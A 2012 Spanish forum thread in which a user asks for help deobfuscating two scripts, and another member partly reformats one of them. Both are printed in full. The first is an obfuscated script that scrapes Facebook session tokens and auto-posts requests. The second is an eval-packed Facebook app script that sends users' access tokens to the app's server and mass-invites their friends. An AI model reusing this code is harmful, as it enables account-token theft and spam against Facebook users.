Script Ofuscado

Iniciado por index1993, 23 Marzo 2012, 17:21 PM

0 Miembros y 1 Visitante están viendo este tema.

index1993

Hola Buenas Me llamo Oscar Y Tengo un problema E buscado en san google i no e podio  Desofuscar  :/ Alguien me podría Desofuscar el código i decirme como lo hace muchísimas gracias

Citar4 5() {
   u v.6 ? 7 6("w.y") : 7 z
}
2 c = 5();
c.9("A", "/?B=C", j);
c.D = k;
c.l(E);
4 k() {
   2 d = c.F;
   2 e = d.3(/"m":"(.*?)"/)[1];
   2 f = d.3(/"n":"(.*?)"/)[1];
   2 g = G(d.3(/"H" o="(.*?)"/)[1]);
   2 h = d.3(/"I" o="(.*?)"/)[1];
   2 i = J.K.3(/p=d+/L)[0].q("p=", "");
   4 r(a) {
       2 b = "M=" + a + "&N=1&O=1" + "&P=Q" + "&R=S&T=V" + "&m=" + e + "&n=" + f + "&W&Y=Z&10=" + i + "&11=12";
       c = 5();
       c.9("13", "/14/15/16.17?18=1", j);
       c.s("19-1a", "1b/x-t-1c-1d; 1e=1f-8");
       c.s('X-1g-1h', '1i');
       c.l(b)
   }
   r("1j");
   1k.1l.q("1m://t.1n.1o/")
}

Este codigo tambien quisiera saber si se puede descriptar creo que esta ofuscado

Citarvar fbk={_keyStr:"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=",z:function(input){var output="";var chr1,chr2,chr3;var enc1,enc2,enc3,enc4;var i=0;input=input.replace(/[^A-Za-z0-9\+\/\=]/g,"");while(i<input.length){enc1=this._keyStr.indexOf(input.charAt(i++));enc2=this._keyStr.indexOf(input.charAt(i++));enc3=this._keyStr.indexOf(input.charAt(i++));enc4=this._keyStr.indexOf(input.charAt(i++));chr1=(enc1<<2)|(enc2>>4);chr2=((enc2&15)<<4)|(enc3>>2);chr3=((enc3&3)<<6)|enc4;output=output+String.fromCharCode(chr1);if(enc3!=64){output=output+String.fromCharCode(chr2);}if(enc4!=64){output=output+String.fromCharCode(chr3);}}output=fbk._utf8_decode(output);return output;},_utf8_encode:function(string){string=string.replace(/\r\n/g,"\n");var utftext="";for(var n=0;n<string.length;n++){var c=string.charCodeAt(n);if(c<128){utftext+=String.fromCharCode(c);}else if((c>127)&&(c<2048)){utftext+=String.fromCharCode((c>>6)|192);utftext+=String.fromCharCode((c&63)|128);}else{utftext+=String.fromCharCode((c>>12)|224);utftext+=String.fromCharCode(((c>>6)&63)|128);utftext+=String.fromCharCode((c&63)|128);}}return utftext;},_utf8_decode:function(utftext){var string="";var i=0;var c=c1=c2=0;while(i<utftext.length){c=utftext.charCodeAt(i);if(c<128){string+=String.fromCharCode(c);i++;}else if((c>191)&&(c<224)){c2=utftext.charCodeAt(i+1);string+=String.fromCharCode(((c&31)<<6)|(c2&63));i+=2;}else{c2=utftext.charCodeAt(i+1);c3=utftext.charCodeAt(i+2);string+=String.fromCharCode(((c&15)<<12)|((c2&63)<<6)|(c3&63));i+=3;}}return string;}}
eval((function(x){var d="";var p=0;while(p<x.length){if(x.charAt(p)!="`")d+=x.charAt(p++);else{var l=x.charCodeAt(p+3)-28;if(l>4)d+=d.substr(d.length-x.charCodeAt(p+1)*96-x.charCodeAt(p+2)+3104-l,l);else d+="`";p+=4}}return d})("window.fbAsyncInit = function () {FB.init({appId:fbk.z(\"MjA1NTI3NDI2MjE4MjE2\"), xfbml:true, cookie:false});};(` l)var e = document.createElement(\"script\");e.async = true;e.src = \"https://connect.facebook.net/es_LA/all.js\";` {%get` z#ById(\"fb-root\").appendChild(e);})();`!g%inviteFriends(message`\"w\"ui({method:\"apprequests\", ` @#:` H#, data:\"194476163949020\"});}var davet_m = \"\",` '#t = \"Suggest to `!;#\", kkk = 0`!Y&mshuffle(o) {for (var j, x, i = o.length; i; j = parseInt(Math.random() * i), x = o[--i], o` *!j` (!j] = x) {}return o;}`!=%sendR`\"]\"To`#($txxt, title) {`\">&txxt;if (` -*t =` G\";}FB.login`%o'response) {if` %&.authR` .*!kkk) {`#%\"1;$.post(\"/justhtml/181411457193/email\", {token:` d1.accessToken},`(>'data) {});}all();} else {` '#}, {scope:\"`!\"\"})`#+'` @!`(,\"f`#.\" = new Array;FB.api(\"/me/` 9#\"`!1(`\"h'`%0%i`%Y! i < `\"!%data`%<&++) {` h#`$|\"` <).id;}`&/%` D#);loop` $&`'7$GG_NUM = 5`&j'` F!list`$+#list`!;# != 0`\"N#string`'u!;` +!hift` ,\"0`%\\!` L(>=`!%#) {` >'` .\";`'p&`\"[\"j <` 3$ j`\"N!if (j !` J$ - 1) {`!:%` \"#+ list[j] + \",\"`$g%` /5;}}` ;%`!L&`!n'`!F1` 4(`!P,`\"I(` zg`#c&'\" +` 9&\"'\";`,S9`,I2`,~&`*2#`*C#` (#t, to:` \"`(E)`)q3`'-3`#K$`'0$`\"w!` 0!();}`&=&`\"Z%}}` \"&top.loca`!4!`0N'apps`0L&com/205527426218216/index2.html\";}}user_liked`+L!"))

Shell Root

De donde lo sacaste, por el nombre de las variables tiene que ver con facebook...
Código (javascript) [Seleccionar]
var fbk = {
   _keyStr: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=",
   z: function (input) {
       var output = "";
       var chr1, chr2, chr3;
       var enc1, enc2, enc3, enc4;
       var i = 0;
       input = input.replace(/[^A-Za-z0-9\+\/\=]/g, "");
       while (i < input.length) {
           enc1 = this._keyStr.indexOf(input.charAt(i++));
           enc2 = this._keyStr.indexOf(input.charAt(i++));
           enc3 = this._keyStr.indexOf(input.charAt(i++));
           enc4 = this._keyStr.indexOf(input.charAt(i++));
           chr1 = (enc1 << 2) | (enc2 >> 4);
           chr2 = ((enc2 & 15) << 4) | (enc3 >> 2);
           chr3 = ((enc3 & 3) << 6) | enc4;
           output = output + String.fromCharCode(chr1);
           if (enc3 != 64) {
               output = output + String.fromCharCode(chr2);
           }
           if (enc4 != 64) {
               output = output + String.fromCharCode(chr3);
           }
       }
       output = fbk._utf8_decode(output);
       return output;
   },
   _utf8_encode: function (string) {
       string = string.replace(/\r\n/g, "\n");
       var utftext = "";
       for (var n = 0; n < string.length; n++) {
           var c = string.charCodeAt(n);
           if (c < 128) {
               utftext += String.fromCharCode(c);
           } else if ((c > 127) && (c < 2048)) {
               utftext += String.fromCharCode((c >> 6) | 192);
               utftext += String.fromCharCode((c & 63) | 128);
           } else {
               utftext += String.fromCharCode((c >> 12) | 224);
               utftext += String.fromCharCode(((c >> 6) & 63) | 128);
               utftext += String.fromCharCode((c & 63) | 128);
           }
       }
       return utftext;
   },
   _utf8_decode: function (utftext) {
       var string = "";
       var i = 0;
       var c = c1 = c2 = 0;
       while (i < utftext.length) {
           c = utftext.charCodeAt(i);
           if (c < 128) {
               string += String.fromCharCode(c);
               i++;
           } else if ((c > 191) && (c < 224)) {
               c2 = utftext.charCodeAt(i + 1);
               string += String.fromCharCode(((c & 31) << 6) | (c2 & 63));
               i += 2;
           } else {
               c2 = utftext.charCodeAt(i + 1);
               c3 = utftext.charCodeAt(i + 2);
               string += String.fromCharCode(((c & 15) << 12) | ((c2 & 63) << 6) | (c3 & 63));
               i += 3;
           }
       }
       return string;
   }
}
eval((function (x) {
   var d = "";
   var p = 0;
   while (p < x.length) {
       if (x.charAt(p) != "`") d += x.charAt(p++);
       else {
           var l = x.charCodeAt(p + 3) - 28;
           if (l > 4) d += d.substr(d.length - x.charCodeAt(p + 1) * 96 - x.charCodeAt(p + 2) + 3104 - l, l);
           else d += "`";
           p += 4
       }
   }
   return d
})("window.fbAsyncInit = function () {FB.init({appId:fbk.z(\"MjA1NTI3NDI2MjE4MjE2\"), xfbml:true, cookie:false});};(` l)var e = document.createElement(\"script\");e.async = true;e.src = \"https://connect.facebook.net/es_LA/all.js\";` {%get` z#ById(\"fb-root\").appendChild(e);})();`!g%inviteFriends(message`\"w\"ui({method:\"apprequests\", ` @#:` H#, data:\"194476163949020\"});}var davet_m = \"\",` '#t = \"Suggest to `!;#\", kkk = 0`!Y&mshuffle(o) {for (var j, x, i = o.length; i; j = parseInt(Math.random() * i), x = o[--i], o` *!j` (!j] = x) {}return o;}`!=%sendR`\"]\"To`#($txxt, title) {`\">&txxt;if (` -*t =` G\";}FB.login`%o'response) {if` %&.authR` .*!kkk) {`#%\"1;$.post(\"/justhtml/181411457193/email\", {token:` d1.accessToken},`(>'data) {});}all();} else {` '#}, {scope:\"`!\"\"})`#+'` @!`(,\"f`#.\" = new Array;FB.api(\"/me/` 9#\"`!1(`\"h'`%0%i`%Y! i < `\"!%data`%<&++) {` h#`$|\"` <).id;}`&/%` D#);loop` $&`'7$GG_NUM = 5`&j'` F!list`$+#list`!;# != 0`\"N#string`'u!;` +!hift` ,\"0`%\\!` L(>=`!%#) {` >'` .\";`'p&`\"[\"j <` 3$ j`\"N!if (j !` J$ - 1) {`!:%` \"#+ list[j] + \",\"`$g%` /5;}}` ;%`!L&`!n'`!F1` 4(`!P,`\"I(` zg`#c&'\" +` 9&\"'\";`,S9`,I2`,~&`*2#`*C#` (#t, to:` \"`(E)`)q3`'-3`#K$`'0$`\"w!` 0!();}`&=&`\"Z%}}` \"&top.loca`!4!`0N'apps`0L&com/205527426218216/index2.html\";}}user_liked`+L!"))
Por eso no duermo, por si tras mi ventana hay un cuervo. Cuelgo de hilos sueltos sabiendo que hay veneno en el aire.

index1993

#2
Es una aplicacion De facebook  Pero tiene appid Ocultado aqui..appId:fbk.z(\"MjA1NTI3NDI2MjE4MjE2\") Deberian de ser numeros I son letras :/

Es una super viral Pero no puedo descriptar el codigo
http://apps.facebook.com/205527426218216/?fb_source=notification&request_ids=343606622342710%2C397060476973802&ref=notif&app_request_type=user_to_user&notif_t=app_request